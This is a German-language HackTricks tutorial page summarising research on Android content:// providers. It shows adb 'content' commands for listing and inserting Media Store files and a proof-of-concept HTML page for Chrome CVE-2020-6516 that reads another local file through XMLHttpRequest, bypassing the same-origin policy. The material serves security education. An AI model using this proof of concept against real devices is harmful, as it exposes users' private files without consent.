content:// protocol

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Dies ist eine Zusammenfassung des Beitrags https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Auflisten von Dateien im Media Store

Um Dateien aufzulisten, die vom Media Store verwaltet werden, kann der folgende Befehl verwendet werden:

$ content query --uri content://media/external/file

Für eine benutzerfreundlichere Ausgabe, die nur den Bezeichner und den Pfad jeder indexierten Datei anzeigt:

$ content query --uri content://media/external/file --projection _id,_data

Content-Provider sind in ihrem eigenen privaten Namensraum isoliert. Der Zugriff auf einen Provider erfordert die spezifische content:// URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus den Anwendungsmanifesten oder dem Quellcode des Android-Frameworks abgerufen werden.

Zugriff von Chrome auf Content-Provider

Chrome auf Android kann über das content://-Schema auf Content-Provider zugreifen und somit Ressourcen wie Fotos oder von Drittanbieteranwendungen exportierte Dokumente abrufen. Zur Veranschaulichung kann eine Datei in den Media Store eingefügt und dann über Chrome abgerufen werden:

Fügen Sie einen benutzerdefinierten Eintrag in den Media Store ein:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Ermitteln Sie die Kennung der neu eingefügten Datei:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Die Datei kann dann in Chrome mithilfe einer URL, die mit dem Datei-Identifier erstellt wurde, angezeigt werden.

Zum Beispiel, um Dateien im Zusammenhang mit einer bestimmten Anwendung aufzulisten:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Die Same Origin Policy (SOP) ist ein Sicherheitsprotokoll in Browsern, das Webseiten daran hindert, mit Ressourcen aus verschiedenen Ursprüngen zu interagieren, es sei denn, dies wird explizit durch eine Cross-Origin-Resource-Sharing (CORS) Richtlinie erlaubt. Diese Richtlinie zielt darauf ab, Informationslecks und Cross-Site Request Forgery zu verhindern. Chrome betrachtet content:// als lokemes Schema, was strengere SOP-Regeln impliziert, wobei jede URL mit lokalem Schema als separater Ursprung behandelt wird.

Jedoch war CVE-2020-6516 eine Sicherheitslücke in Chrome, die es ermöglichte, die SOP-Regeln für Ressourcen, die über eine content://-URL geladen wurden, zu umgehen. Effektiv konnte JavaScript-Code von einer content://-URL auf andere Ressourcen zugreifen, die über content://-URLs geladen wurden, was ein erhebliches Sicherheitsrisiko darstellte, insbesondere auf Android-Geräten mit Versionen vor Android 10, wo das begrenzte Speichermodell nicht implementiert war.

Der untenstehende Proof-of-Concept demonstriert diese Sicherheitslücke, bei der ein HTML-Dokument, nachdem es unter /sdcard hochgeladen und der Medienspeicher hinzugefügt wurde, XMLHttpRequest in seinem JavaScript verwendet, um auf die Inhalte einer anderen Datei im Medienspeicher zuzugreifen und sie anzuzeigen, wodurch die SOP-Regeln umgangen werden.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated